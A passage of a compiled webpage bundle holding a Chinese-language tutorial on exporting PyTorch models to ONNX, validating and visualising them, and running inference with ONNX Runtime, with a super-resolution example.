GitHub\uff1a",(0,o.jsx)(e.a,{href:"https://github.com/onnx/onnx",children:"https://github.com/onnx/onnx"})]}),"\n"]}),"\n",(0,o.jsxs)(e.p,{children:[(0,o.jsx)(e.strong,{children:"ONNX( Open Neural Network Exchange)"})," \u662f Facebook (\u73b0Meta) \u548c\u5fae\u8f6f\u57282017\u5e74\u5171\u540c\u53d1\u5e03\u7684\uff0c\u7528\u4e8e\u6807\u51c6\u63cf\u8ff0\u8ba1\u7b97\u56fe\u7684\u4e00\u79cd\u683c\u5f0f\u3002ONNX\u901a\u8fc7\u5b9a\u4e49\u4e00\u7ec4\u4e0e\u73af\u5883\u548c\u5e73\u53f0\u65e0\u5173\u7684\u6807\u51c6\u683c\u5f0f\uff0c\u4f7fAI\u6a21\u578b\u53ef\u4ee5\u5728\u4e0d\u540c\u6846\u67b6\u548c\u73af\u5883\u4e0b\u4ea4\u4e92\u4f7f\u7528\uff0cONNX\u53ef\u4ee5\u770b\u4f5c\u6df1\u5ea6\u5b66\u4e60\u6846\u67b6\u548c\u90e8\u7f72\u7aef\u7684\u6865\u6881\uff0c\u5c31\u50cf\u7f16\u8bd1\u5668\u7684\u4e2d\u95f4\u8bed\u8a00\u4e00\u6837\u3002\u7531\u4e8e\u5404\u6846\u67b6\u517c\u5bb9\u6027\u4e0d\u4e00\uff0c\u6211\u4eec\u901a\u5e38\u53ea\u7528 ONNX \u8868\u793a\u66f4\u5bb9\u6613\u90e8\u7f72\u7684\u9759\u6001\u56fe\u3002\u786c\u4ef6\u548c\u8f6f\u4ef6\u5382\u5546\u53ea\u9700\u8981\u57fa\u4e8eONNX\u6807\u51c6\u4f18\u5316\u6a21\u578b\u6027\u80fd\uff0c\u8ba9\u6240\u6709\u517c\u5bb9ONNX\u6807\u51c6\u7684\u6846\u67b6\u53d7\u76ca\u3002\u76ee\u524d\uff0cONNX\u4e3b\u8981\u5173\u6ce8\u5728\u6a21\u578b\u9884\u6d4b\u65b9\u9762\uff0c\u4f7f\u7528\u4e0d\u540c\u6846\u67b6\u8bad\u7ec3\u7684\u6a21\u578b\uff0c\u8f6c\u5316\u4e3aONNX\u683c\u5f0f\u540e\uff0c\u53ef\u4ee5\u5f88\u5bb9\u6613\u7684\u90e8\u7f72\u5728\u517c\u5bb9ONNX\u7684\u8fd0\u884c\u73af\u5883\u4e2d\u3002\u76ee\u524d\uff0c\u5728\u5fae\u8f6f\uff0c\u4e9a\u9a6c\u900a \uff0cFacebook(\u73b0Meta) \u548c IBM \u7b49\u516c\u53f8\u548c\u4f17\u591a\u5f00\u6e90\u8d21\u732e\u7684\u5171\u540c\u7ef4\u62a4\u4e0b\uff0cONNX \u5df2\u7ecf\u5bf9\u63a5\u4e86\u4e0b\u56fe\u7684\u591a\u79cd\u6df1\u5ea6\u5b66\u4e60\u6846\u67b6\u548c\u591a\u79cd\u63a8\u7406\u5f15\u64ce\u3002"]}),"\n",(0,o.jsx)(e.p,{children:(0,o.jsx)(e.img,{alt:"image-20220805222147320",src:t(93752).A+"",width:"1690",height:"1021"})}),"\n",(0,o.jsx)(e.h3,{id:"9112-onnx-runtime\u7b80\u4ecb",children:"9.1.1.2 ONNX Runtime\u7b80\u4ecb"}),"\n",(0,o.jsxs)(e.ul,{children:["\n",(0,o.jsxs)(e.li,{children:["ONNX Runtime\u5b98\u7f51\uff1a",(0,o.jsx)(e.a,{href:"https://www.onnxruntime.ai/",children:"https://www.onnxruntime.ai/"})]}),"\n",(0,o.jsxs)(e.li,{children:["ONNX Runtime GitHub\uff1a",(0,o.jsx)(e.a,{href:"https://github.com/microsoft/onnxruntime",children:"https://github.com/microsoft/onnxruntime"})]}),"\n"]}),"\n",(0,o.jsxs)(e.p,{children:[(0,o.jsx)(e.strong,{children:"ONNX Runtime"})," \u662f\u7531\u5fae\u8f6f\u7ef4\u62a4\u7684\u4e00\u4e2a\u8de8\u5e73\u53f0\u673a\u5668\u5b66\u4e60\u63a8\u7406\u52a0\u901f\u5668\uff0c\u5b83\u76f4\u63a5\u5bf9\u63a5ONNX\uff0c\u53ef\u4ee5\u76f4\u63a5\u8bfb\u53d6.onnx\u6587\u4ef6\u5e76\u5b9e\u73b0\u63a8\u7406\uff0c\u4e0d\u9700\u8981\u518d\u628a .onnx \u683c\u5f0f\u7684\u6587\u4ef6\u8f6c\u6362\u6210\u5176\u4ed6\u683c\u5f0f\u7684\u6587\u4ef6\u3002PyTorch\u501f\u52a9ONNX Runtime\u4e5f\u5b8c\u6210\u4e86\u90e8\u7f72\u7684\u6700\u540e\u4e00\u516c\u91cc\uff0c\u6784\u5efa\u4e86 PyTorch --\x3e ONNX --\x3e ONNX Runtime \u90e8\u7f72\u6d41\u6c34\u7ebf\uff0c\u6211\u4eec\u53ea\u9700\u8981\u5c06\u6a21\u578b\u8f6c\u6362\u4e3a .onnx \u6587\u4ef6\uff0c\u5e76\u5728 ONNX Runtime \u4e0a\u8fd0\u884c\u6a21\u578b\u5373\u53ef\u3002"]}),"\n",(0,o.jsx)(e.h3,{id:"9113-onnx\u548connx-runtime\u7684\u5b89\u88c5",children:"9.1.1.3 ONNX\u548cONNX Runtime\u7684\u5b89\u88c5"}),"\n",(0,o.jsx)(e.p,{children:"ONNX\u548cONNX Runtime\u4f5c\u4e3apython\u7684\u4e00\u4e2a\u5305\u4e0e\u5176\u4ed6\u5305\u7684\u5b89\u88c5\u65b9\u6cd5\u76f8\u540c\uff0c\u6211\u4eec\u53ef\u4ee5\u9009\u62e9\u4f7f\u7528conda\u6216\u8005pip\u8fdb\u884c\u5b89\u88c5\uff0c\u53ea\u9700\u8981\u8f93\u5165\u4ee5\u4e0b\u547d\u4ee4\u5373\u53ef\uff1a"}),"\n",(0,o.jsx)(e.pre,{children:(0,o.jsx)(e.code,{className:"language-shell",children:"# \u6fc0\u6d3b\u865a\u62df\u73af\u5883\nconda activate env_name # env_name\u6362\u6210\u73af\u5883\u540d\u79f0\n# \u5b89\u88c5onnx\npip install onnx \n# \u5b89\u88c5onnx runtime\npip install onnxruntime # \u4f7f\u7528CPU\u8fdb\u884c\u63a8\u7406\n# pip install onnxruntime-gpu # \u4f7f\u7528GPU\u8fdb\u884c\u63a8\u7406\n"})}),"\n",(0,o.jsx)(e.p,{children:"\u9664\u6b64\u4e4b\u5916\uff0c\u6211\u4eec\u8fd8\u9700\u8981\u6ce8\u610fONNX\u548cONNX Runtime\u4e4b\u95f4\u7684\u9002\u914d\u5173\u7cfb\u3002\u6211\u4eec\u53ef\u4ee5\u8bbf\u95eeONNX Runtime\u7684Github\u8fdb\u884c\u67e5\u770b\uff0c\u94fe\u63a5\u5730\u5740\u5982\u4e0b\uff1a"}),"\n",(0,o.jsxs)(e.p,{children:["ONNX\u548cONNX Runtime\u7684\u9002\u914d\u5173\u7cfb\uff1a",(0,o.jsx)(e.a,{href:"https://github.com/microsoft/onnxruntime/blob/master/docs/Versioning.md",children:"https://github.com/microsoft/onnxruntime/blob/master/docs/Versioning.md"})]}),"\n",(0,o.jsx)(e.p,{children:"\u5f53\u6211\u4eec\u60f3\u4f7f\u7528GPU\u8fdb\u884c\u63a8\u7406\u65f6\uff0c\u6211\u4eec\u9700\u8981\u5148\u5c06\u5b89\u88c5\u7684onnxruntime\u5378\u8f7d\uff0c\u518d\u5b89\u88c5onnxruntime-gpu\uff0c\u540c\u65f6\u6211\u4eec\u8fd8\u9700\u8981\u8003\u8651ONNX Runtime\u4e0eCUDA\u4e4b\u95f4\u7684\u9002\u914d\u5173\u7cfb\uff0c\u6211\u4eec\u53ef\u4ee5\u53c2\u8003\u4ee5\u4e0b\u94fe\u63a5\u8fdb\u884c\u67e5\u770b\uff1a"}),"\n",(0,o.jsxs)(e.p,{children:["ONNX Runtime\u548cCUDA\u4e4b\u95f4\u7684\u9002\u914d\u5173\u7cfb\uff1a",(0,o.jsx)(e.a,{href:"https://onnxruntime.ai/docs/execution-providers/CUDA-ExecutionProvider.html",children:"https://onnxruntime.ai/docs/execution-providers/CUDA-ExecutionProvider.html"})]}),"\n",(0,o.jsx)(e.h2,{id:"912-\u6a21\u578b\u5bfc\u51fa\u4e3aonnx",children:"9.1.2 \u6a21\u578b\u5bfc\u51fa\u4e3aONNX"}),"\n",(0,o.jsx)(e.h3,{id:"9121-\u6a21\u578b\u8f6c\u6362\u4e3aonnx\u683c\u5f0f",children:"9.1.2.1 \u6a21\u578b\u8f6c\u6362\u4e3aONNX\u683c\u5f0f"}),"\n",(0,o.jsxs)(e.p,{children:["\u5728\u63a5\u4e0b\u6765\u7684\u90e8\u5206\uff0c\u6211\u4eec\u5c06\u4f7f\u7528",(0,o.jsx)(e.code,{children:"torch.onnx.export()"}),"\u628a\u6a21\u578b\u8f6c\u6362\u6210 ONNX \u683c\u5f0f\u7684\u51fd\u6570\u3002\u6a21\u578b\u5bfc\u6210onnx\u683c\u5f0f\u524d\uff0c\u6211\u4eec\u5fc5\u987b\u8c03\u7528",(0,o.jsx)(e.code,{children:"model.eval()"}),"\u6216\u8005",(0,o.jsx)(e.code,{children:"model.train(False)"}),"\u4ee5\u786e\u4fdd\u6211\u4eec\u7684\u6a21\u578b\u5904\u5728\u63a8\u7406\u6a21\u5f0f\u4e0b\uff0c\u907f\u514d\u56e0\u4e3a",(0,o.jsx)(e.code,{children:"dropout"}),"\u6216",(0,o.jsx)(e.code,{children:"batchnorm"}),"\u7b49\u8fd0\u7b97\u7b26\u5728\u63a8\u7406\u548c\u8bad\u7ec3\u6a21\u5f0f\u4e0b\u7684\u4e0d\u540c\u4ea7\u751f\u9519\u8bef\u3002\uff08\u56e0\u4e3a\u672c\u8bfe\u7a0b\u504f\u5411\u5b9e\u6218\uff0c\u5bf9\u4e8eONNX\u7684\u5185\u90e8\u6d41\u7a0b\u4e0d\u505a\u8fc7\u591a\u8d58\u8ff0\uff0c\u6709\u5174\u8da3\u7684\u540c\u5b66\u53ef\u4ee5\u8fdb\u884c\u66f4\u6df1\u4e00\u6b65\u4e86\u89e3\uff09"]}),"\n",(0,o.jsx)(e.pre,{children:(0,o.jsx)(e.code,{className:"language-python",children:"import torch.onnx \n# \u8f6c\u6362\u7684onnx\u683c\u5f0f\u7684\u540d\u79f0\uff0c\u6587\u4ef6\u540e\u7f00\u9700\u4e3a.onnx\nonnx_file_name = \"xxxxxx.onnx\"\n# \u6211\u4eec\u9700\u8981\u8f6c\u6362\u7684\u6a21\u578b\uff0c\u5c06torch_model\u8bbe\u7f6e\u4e3a\u81ea\u5df1\u7684\u6a21\u578b\nmodel = torch_model\n# \u52a0\u8f7d\u6743\u91cd\uff0c\u5c06model.pth\u8f6c\u6362\u4e3a\u81ea\u5df1\u7684\u6a21\u578b\u6743\u91cd\n# \u5982\u679c\u6a21\u578b\u7684\u6743\u91cd\u662f\u4f7f\u7528\u591a\u5361\u8bad\u7ec3\u51fa\u6765\uff0c\u6211\u4eec\u9700\u8981\u53bb\u9664\u6743\u91cd\u4e2d\u591a\u7684module. \u5177\u4f53\u64cd\u4f5c\u53ef\u4ee5\u89c15.4\u8282\nmodel = model.load_state_dict(torch.load(\"model.pth\"))\n# \u5bfc\u51fa\u6a21\u578b\u524d\uff0c\u5fc5\u987b\u8c03\u7528model.eval()\u6216\u8005model.train(False)\nmodel.eval()\n# dummy_input\u5c31\u662f\u4e00\u4e2a\u8f93\u5165\u7684\u5b9e\u4f8b\uff0c\u4ec5\u63d0\u4f9b\u8f93\u5165shape\u3001type\u7b49\u4fe1\u606f \nbatch_size = 1 # \u968f\u673a\u7684\u53d6\u503c\uff0c\u5f53\u8bbe\u7f6edynamic_axes\u540e\u5f71\u54cd\u4e0d\u5927\ndummy_input = torch.randn(batch_size, 1, 224, 224, requires_grad=True) \n# \u8fd9\u7ec4\u8f93\u5165\u5bf9\u5e94\u7684\u6a21\u578b\u8f93\u51fa\noutput = model(dummy_input)\n# \u5bfc\u51fa\u6a21\u578b\ntorch.onnx.export(model, # \u6a21\u578b\u7684\u540d\u79f0\n dummy_input, # \u4e00\u7ec4\u5b9e\u4f8b\u5316\u8f93\u5165\n onnx_file_name, # \u6587\u4ef6\u4fdd\u5b58\u8def\u5f84/\u540d\u79f0\n export_params=True, # \u5982\u679c\u6307\u5b9a\u4e3aTrue\u6216\u9ed8\u8ba4, \u53c2\u6570\u4e5f\u4f1a\u88ab\u5bfc\u51fa. \u5982\u679c\u4f60\u8981\u5bfc\u51fa\u4e00\u4e2a\u6ca1\u8bad\u7ec3\u8fc7\u7684\u5c31\u8bbe\u4e3a False.\n opset_version=10, # ONNX \u7b97\u5b50\u96c6\u7684\u7248\u672c\uff0c\u5f53\u524d\u5df2\u66f4\u65b0\u523015\n do_constant_folding=True, # \u662f\u5426\u6267\u884c\u5e38\u91cf\u6298\u53e0\u4f18\u5316\n input_names = ['input'], # \u8f93\u5165\u6a21\u578b\u7684\u5f20\u91cf\u7684\u540d\u79f0\n output_names = ['output'], # \u8f93\u51fa\u6a21\u578b\u7684\u5f20\u91cf\u7684\u540d\u79f0\n # dynamic_axes\u5c06batch_size\u7684\u7ef4\u5ea6\u6307\u5b9a\u4e3a\u52a8\u6001\uff0c\n # \u540e\u7eed\u8fdb\u884c\u63a8\u7406\u7684\u6570\u636e\u53ef\u4ee5\u4e0e\u5bfc\u51fa\u7684dummy_input\u7684batch_size\u4e0d\u540c\n dynamic_axes={'input' : {0 : 'batch_size'}, \n 'output' : {0 : 'batch_size'}})\n\n"})}),"\n",(0,o.jsx)(e.h3,{id:"9122-onnx\u6a21\u578b\u7684\u68c0\u9a8c",children:"9.1.2.2 ONNX\u6a21\u578b\u7684\u68c0\u9a8c"}),"\n",(0,o.jsxs)(e.p,{children:["\u5f53\u4e0a\u8ff0\u4ee3\u7801\u8fd0\u884c\u6210\u529f\u540e\uff0c\u6211\u4eec\u4f1a\u5f97\u5230\u4e00\u4e2aONNX \u6a21\u578b\u6587\u4ef6\u3002\u6211\u4eec\u9700\u8981\u68c0\u6d4b\u4e0b\u6211\u4eec\u7684\u6a21\u578b\u6587\u4ef6\u662f\u5426\u53ef\u7528\uff0c\u6211\u4eec\u5c06\u901a\u8fc7",(0,o.jsx)(e.code,{children:"onnx.checker.check_model()"}),"\u8fdb\u884c\u68c0\u9a8c\uff0c\u5177\u4f53\u65b9\u6cd5\u5982\u4e0b\uff1a"]}),"\n",(0,o.jsx)(e.pre,{children:(0,o.jsx)(e.code,{className:"language-python",children:'import onnx\n# \u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u5f02\u5e38\u5904\u7406\u7684\u65b9\u6cd5\u8fdb\u884c\u68c0\u9a8c\ntry:\n # \u5f53\u6211\u4eec\u7684\u6a21\u578b\u4e0d\u53ef\u7528\u65f6\uff0c\u5c06\u4f1a\u62a5\u51fa\u5f02\u5e38\n onnx.checker.check_model(self.onnx_model)\nexcept onnx.checker.ValidationError as e:\n print("The model is invalid: %s"%e)\nelse:\n # \u6a21\u578b\u53ef\u7528\u65f6\uff0c\u5c06\u4e0d\u4f1a\u62a5\u51fa\u5f02\u5e38\uff0c\u5e76\u4f1a\u8f93\u51fa\u201cThe model is valid!\u201d\n print("The model is valid!")\n'})}),"\n",(0,o.jsx)(e.h3,{id:"9123-onnx\u53ef\u89c6\u5316",children:"9.1.2.3 ONNX\u53ef\u89c6\u5316"}),"\n",(0,o.jsxs)(e.p,{children:["\u5728\u5c06\u6a21\u578b\u5bfc\u51fa\u4e3aonnx\u683c\u5f0f\u540e\uff0c\u6211\u4eec\u5e0c\u671b\u6709\u4e2a\u5de5\u5177\u53ef\u4ee5\u50cfTensorboard\u4e00\u6837\u53ef\u89c6\u5316\u6a21\u578b\u6765\u89c2\u5bdf\u6bcf\u4e2a\u8282\u70b9\u7684\u5c5e\u6027\u7279\u5f81\u3002\u968f\u7740",(0,o.jsx)(e.code,{children:"Netron"}),"\u7684\u51fa\u73b0\uff0c\u6211\u4eec\u4e5f\u53ef\u4ee5\u5b9e\u73b0onnx\u7684\u53ef\u89c6\u5316\u3002"]}),"\n",(0,o.jsxs)(e.ul,{children:["\n",(0,o.jsxs)(e.li,{children:["Netron\u4e0b\u8f7d\u7f51\u5740\uff1a",(0,o.jsx)(e.a,{href:"https://github.com/lutzroeder/netron",children:"https://github.com/lutzroeder/netron"}),"\n",(0,o.jsx)(e.img,{alt:"img",src:t(69695).A+"",width:"2616",height:"1760"})]}),"\n"]}),"\n",(0,o.jsxs)(e.p,{children:["\u4f7f\u7528Netron\u8fdb\u884c\u53ef\u89c6\u5316\u540e\uff0c\u6211\u4eec\u4e0d\u4ec5\u80fd\u770b\u5230\u6574\u4f53\u6a21\u578b\u7684\u67b6\u6784\uff0c\u8fd8\u80fd\u770b\u5230\u6bcf\u4e00\u4e2a\u8282\u70b9\u7684\u4fe1\u606f\u3002\u5728\u63a5\u4e0b\u6765\u7684\u5185\u5bb9\u4e2d\u6211\u4eec\u5c06\u4ee5Netron\u5b98\u65b9\u63d0\u4f9b\u7684",(0,o.jsx)(e.a,{href:"https://netron.app/?url=https://media.githubusercontent.com/media/onnx/models/main/vision/classification/squeezenet/model/squeezenet1.0-3.onnx",children:"squeezenet"}),"\u4e3a\u4f8b\u8fdb\u884c\u4ecb\u7ecd\u3002\u4e0b\u9762\u7b2c\u4e00\u5e45\u56fe\u622a\u53d6\u81easqueezenet\u7f51\u7edc\uff0c\u6211\u4eec\u53ef\u4ee5\u770b\u5230\u7f51\u7edc\u7684\u6574\u4f53\u6d41\u7a0b\u548c\u8f93\u5165\u3002"]}),"\n",(0,o.jsx)(e.p,{children:(0,o.jsx)(e.img,{src:"./figures/grapgflow.png",alt:"\u7ed3\u6784\u56fe",align:"center",style:{zoom:"50%"}})}),"\n",(0,o.jsx)(e.p,{children:"\u7b2c\u4e8c\u5e45\u56fe\u663e\u793a\u4e86\u7b2c\u4e00\u4e2aConv\u7684\u4fe1\u606f\u5305\u62eckernel_size\uff0cstrides\uff0cinput\uff0coutput\u7b49\u4fe1\u606f\uff0c\u540c\u7406\u5f53\u6211\u4eec\u70b9\u51fb\u5176\u4ed6\u8282\u70b9\u65f6\u4e5f\u53ef\u4ee5\u663e\u793a\u8be5\u8282\u70b9\u7684\u4fe1\u606f\u3002"}),"\n",(0,o.jsx)(e.p,{children:(0,o.jsx)(e.img,{alt:"image-20220805221657416",src:t(98927).A+"",width:"2068",height:"1283"})}),"\n",(0,o.jsx)(e.h2,{id:"913-\u4f7f\u7528onnx-runtime\u8fdb\u884c\u63a8\u7406",children:"9.1.3 \u4f7f\u7528ONNX Runtime\u8fdb\u884c\u63a8\u7406"}),"\n",(0,o.jsxs)(e.p,{children:["\u901a\u8fc7\u4ee5\u4e0a\u7684\u64cd\u4f5c\uff0c\u6211\u4eec\u5df2\u7ecf\u5b8c\u6210\u4e86PyTorch\u7684\u6a21\u578b\u5230ONNX\u6a21\u578b\u7684\u8f6c\u6362\uff0c\u5e76\u901a\u8fc7Netron\u53ef\u89c6\u5316\u548c",(0,o.jsx)(e.code,{children:"onnx.checker.check_model()"}),"\u68c0\u67e5\u4e86\u6a21\u578b\u7684\u6b63\u786e\u6027\u3002\u5728\u8fd9\u4e00\u6b65\uff0c\u6211\u4eec\u5c06\u4f7f\u7528ONNX Runtime\u8fd0\u884c\u4e00\u4e0b\u8f6c\u5316\u540e\u7684\u6a21\u578b\uff0c\u770b\u4e00\u4e0b\u63a8\u7406\u540e\u7684\u7ed3\u679c\u3002"]}),"\n",(0,o.jsx)(e.pre,{children:(0,o.jsx)(e.code,{className:"language-python",children:"# \u5bfc\u5165onnxruntime\nimport onnxruntime\n# \u9700\u8981\u8fdb\u884c\u63a8\u7406\u7684onnx\u6a21\u578b\u6587\u4ef6\u540d\u79f0\nonnx_file_name = \"xxxxxx.onnx\"\n\n# onnxruntime.InferenceSession\u7528\u4e8e\u83b7\u53d6\u4e00\u4e2a ONNX Runtime \u63a8\u7406\u5668\nort_session = onnxruntime.InferenceSession(onnx_file_name) \n\n# \u6784\u5efa\u5b57\u5178\u7684\u8f93\u5165\u6570\u636e\uff0c\u5b57\u5178\u7684key\u9700\u8981\u4e0e\u6211\u4eec\u6784\u5efaonnx\u6a21\u578b\u65f6\u7684input_names\u76f8\u540c\n# \u8f93\u5165\u7684input_img \u4e5f\u9700\u8981\u6539\u53d8\u4e3andarray\u683c\u5f0f\nort_inputs = {'input': input_img} \n# \u6211\u4eec\u66f4\u5efa\u8bae\u4f7f\u7528\u4e0b\u9762\u8fd9\u79cd\u65b9\u6cd5,\u56e0\u4e3a\u907f\u514d\u4e86\u624b\u52a8\u8f93\u5165key\n# ort_inputs = {ort_session.get_inputs()[0].name:input_img}\n\n# run\u662f\u8fdb\u884c\u6a21\u578b\u7684\u63a8\u7406\uff0c\u7b2c\u4e00\u4e2a\u53c2\u6570\u4e3a\u8f93\u51fa\u5f20\u91cf\u540d\u7684\u5217\u8868\uff0c\u4e00\u822c\u60c5\u51b5\u53ef\u4ee5\u8bbe\u7f6e\u4e3aNone\n# \u7b2c\u4e8c\u4e2a\u53c2\u6570\u4e3a\u6784\u5efa\u7684\u8f93\u5165\u503c\u7684\u5b57\u5178\n# \u7531\u4e8e\u8fd4\u56de\u7684\u7ed3\u679c\u88ab\u5217\u8868\u5d4c\u5957\uff0c\u56e0\u6b64\u6211\u4eec\u9700\u8981\u8fdb\u884c[0]\u7684\u7d22\u5f15\nort_output = ort_session.run(None,ort_inputs)[0]\n# output = {ort_session.get_outputs()[0].name}\n# ort_output = ort_session.run([output], ort_inputs)[0]\n\n"})}),"\n",(0,o.jsx)(e.p,{children:"\u5728\u4e0a\u8ff0\u7684\u6b65\u9aa4\u4e2d\uff0c\u6211\u4eec\u6709\u51e0\u4e2a\u9700\u8981\u6ce8\u610f\u7684\u70b9\uff1a"}),"\n",(0,o.jsxs)(e.ol,{children:["\n",(0,o.jsx)(e.li,{children:"PyTorch\u6a21\u578b\u7684\u8f93\u5165\u4e3atensor\uff0c\u800cONNX\u7684\u8f93\u5165\u4e3aarray\uff0c\u56e0\u6b64\u6211\u4eec\u9700\u8981\u5bf9\u5f20\u91cf\u8fdb\u884c\u53d8\u6362\u6216\u8005\u76f4\u63a5\u5c06\u6570\u636e\u8bfb\u53d6\u4e3aarray\u683c\u5f0f\uff0c\u6211\u4eec\u53ef\u4ee5\u5b9e\u73b0\u4e0b\u9762\u7684\u65b9\u5f0f\u8fdb\u884c\u5f20\u91cf\u5230array\u7684\u8f6c\u5316\u3002"}),"\n"]}),"\n",(0,o.jsx)(e.pre,{children:(0,o.jsx)(e.code,{className:"language-python",children:"def to_numpy(tensor):\n return tensor.detach().cpu().numpy() if tensor.requires_grad else tensor.cpu().numpy()\n"})}),"\n",(0,o.jsxs)(e.ol,{start:"2",children:["\n",(0,o.jsxs)(e.li,{children:["\u8f93\u5165\u7684array\u7684shape\u5e94\u8be5\u548c\u6211\u4eec\u5bfc\u51fa\u6a21\u578b\u7684",(0,o.jsx)(e.code,{children:"dummy_input"}),"\u7684shape\u76f8\u540c\uff0c\u5982\u679c\u56fe\u7247\u5927\u5c0f\u4e0d\u4e00\u6837\uff0c\u6211\u4eec\u5e94\u8be5\u5148\u8fdb\u884cresize\u64cd\u4f5c\u3002"]}),"\n",(0,o.jsx)(e.li,{children:"run\u7684\u7ed3\u679c\u662f\u4e00\u4e2a\u5217\u8868\uff0c\u6211\u4eec\u9700\u8981\u8fdb\u884c\u7d22\u5f15\u64cd\u4f5c\u624d\u80fd\u83b7\u5f97array\u683c\u5f0f\u7684\u7ed3\u679c\u3002"}),"\n",(0,o.jsx)(e.li,{children:"\u5728\u6784\u5efa\u8f93\u5165\u7684\u5b57\u5178\u65f6\uff0c\u6211\u4eec\u9700\u8981\u6ce8\u610f\u5b57\u5178\u7684key\u5e94\u4e0e\u5bfc\u51faONNX\u683c\u5f0f\u8bbe\u7f6e\u7684input_name\u76f8\u540c\uff0c\u56e0\u6b64\u6211\u4eec\u66f4\u5efa\u8bae\u4f7f\u7528\u4e0a\u8ff0\u7684\u7b2c\u4e8c\u79cd\u65b9\u6cd5\u6784\u5efa\u8f93\u5165\u7684\u5b57\u5178\u3002"}),"\n"]}),"\n",(0,o.jsx)(e.h2,{id:"914-\u4ee3\u7801\u5b9e\u6218",children:"9.1.4 \u4ee3\u7801\u5b9e\u6218"}),"\n",(0,o.jsxs)(e.p,{children:["\u672c\u90e8\u5206\u4ee3\u7801\u9009\u81eaPyTorch\u5b98\u7f51\u793a\u4f8b\u4ee3\u7801\uff0c\u8bbf\u95ee\u94fe\u63a5\u53ef\u70b9\u51fb\u4e0b\u65b9\u63a8\u8350\u9605\u8bfb2\u8fdb\u884c\u67e5\u770b\u548c\u4f7f\u7528\u5b98\u7f51\u63d0\u4f9b\u7684Colab\u5bf9onnx\u5bfc\u51fa\u8fdb\u884c\u8fdb\u4e00\u6b65\u7406\u89e3\u3002",(0,o.jsx)(e.em,{children:"\u5982\u6709\u4fb5\u6743\uff0c\u53ef\u7acb\u5373\u5220\u9664"})]}),"\n",(0,o.jsx)(e.h3,{id:"1-\u5b9a\u4e49\u8d85\u5206\u8fa8\u6a21\u578b",children:"1. \u5b9a\u4e49\u8d85\u5206\u8fa8\u6a21\u578b"}),"\n",(0,o.jsx)(e.pre,{children:(0,o.jsx)(e.code,{className:"language-python",children:"# \u5bfc\u5165\u76f8\u5173\u5305\nimport io\nimport numpy as np\nfrom torch import nn\nimport torch.utils.model_zoo as model_zoo\nimport torch.onnx\nimport torch.nn as nn\nimport torch.nn.init as init\n\n# \u5b9a\u4e49\u8d85\u5206\u8fa8\u7f51\u7edc\nclass SuperResolutionNet(nn.Module):\n def __init__(self, upscale_factor, inplace=False):\n super(SuperResolutionNet, self).__init__()\n\n self.relu = nn.ReLU(inplace=inplace)\n self.conv1 = nn.Conv2d(1, 64, (5, 5), (1, 1), (2, 2))\n self.conv2 = nn.Conv2d(64, 64, (3, 3), (1, 1), (1, 1))\n self.conv3 = nn.Conv2d(64, 32, (3, 3), (1, 1), (1, 1))\n self.conv4 = nn.Conv2d(32, upscale_factor ** 2, (3, 3), (1, 1), (1, 1))\n self.pixel_shuffle = nn.PixelShuffle(upscale_factor)\n\n self._initialize_weights()\n\n def forward(self, x):\n x = self.relu(self.conv1(x))\n x = self.relu(self.conv2(x))\n x = self.relu(self.conv3(x))\n x = self.pixel_shuffle(self.conv4(x))\n return x\n \n\t# \u6a21\u578b\u521d\u59cb\u5316\n def _initialize_weights(self):\n init.orthogonal_(self.conv1.weight, init.calculate_gain('relu'))\n init.orthogonal_(self.conv2.weight, init.calculate_gain('relu'))\n init.orthogonal_(self.conv3.weight, init.calculate_gain('relu'))\n init.orthogonal_(self.conv4.weight)\n\n# \u5b9e\u4f8b\u5316\u6a21\u578b\ntorch_model = SuperResolutionNet(upscale_factor=3)\n"})}),"\n",(0,o.jsx)(e.h3,{id:"2-\u6a21\u578b\u5bfc\u51fa\u4e3aonnx\u683c\u5f0f",children:"2. \u6a21\u578b\u5bfc\u51fa\u4e3aONNX\u683c\u5f0f"}),"\n",(0,o.jsx)(e.pre,{children:(0,o.jsx)(e.code,{className:"language-python",children:"model_url = 'https://s3.amazonaws.com/pytorch/test_data/export/superres_epoch100-44c6958e.pth'\nbatch_size = 1 # just a random number\n# \u52a0\u8f7d\u9884\u8bad\u7ec3\u5f97\u5230\u6743\u91cd\nmap_location = lambda storage, loc: storage\nif torch.cuda.is_available():\n map_location = None\ntorch_model.load_state_dict(model_zoo.load_url(model_url, map_location=map_location))\n\n# \u5c06\u6a21\u578b\u8bbe\u7f6e\u4e3a\u63a8\u7406\u6a21\u5f0f\ntorch_model.eval()\n# Input to the model\nx = torch.randn(batch_size, 1, 224, 224, requires_grad=True)\ntorch_out = torch_model(x)\n\n# \u5bfc\u51fa\u6a21\u578b\ntorch.onnx.export(torch_model, # model being run\n x, # model input (or a tuple for multiple inputs)\n \"super_resolution.onnx\", # where to save the model (can be a file or file-like object)\n export_params=True, # store the trained parameter weights inside the model file\n opset_version=10, # the ONNX version to export the model to\n do_constant_folding=True, # whether to execute constant folding for optimization\n input_names = ['input'], # the model's input names\n output_names = ['output'], # the model's output names\n # variable length axes\n dynamic_axes={'input' : {0 : 'batch_size'}, \n 'output' : {0 : 'batch_size'}})\n"})}),"\n",(0,o.jsx)(e.h3,{id:"3-\u68c0\u9a8connx\u6a21\u578b",children:"3. \u68c0\u9a8cONNX\u6a21\u578b"}),"\n",(0,o.jsx)(e.pre,{children:(0,o.jsx)(e.code,{className:"language-python",children:'import onnx\n# \u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u5f02\u5e38\u5904\u7406\u7684\u65b9\u6cd5\u8fdb\u884c\u68c0\u9a8c\ntry:\n # \u5f53\u6211\u4eec\u7684\u6a21\u578b\u4e0d\u53ef\u7528\u65f6\uff0c\u5c06\u4f1a\u62a5\u51fa\u5f02\u5e38\n onnx.checker.check_model("super_resolution.onnx")\nexcept onnx.checker.ValidationError as e:\n print("The model is invalid: %s"%e)\nelse:\n # \u6a21\u578b\u53ef\u7528\u65f6\uff0c\u5c06\u4e0d\u4f1a\u62a5\u51fa\u5f02\u5e38\uff0c\u5e76\u4f1a\u8f93\u51fa\u201cThe model is valid!\u201d\n print("The model is valid!")\n'})}),"\n",(0,o.jsx)(e.h3,{id:"4-\u4f7f\u7528onnx-runtime\u8fdb\u884c\u63a8\u7406",children:"4. \u4f7f\u7528ONNX Runtime\u8fdb\u884c\u63a8\u7406"}),"\n",(0,o.jsx)(e.pre,{children:(0,o.jsx)(e.code,{className:"language-python",children:'import onnxruntime\n\nort_session = onnxruntime.InferenceSession("super_resolution.onnx")\n\n# \u5c06\u5f20\u91cf\u8f6c\u5316\u4e3andarray\u683c\u5f0f\ndef to_numpy(tensor):\n return 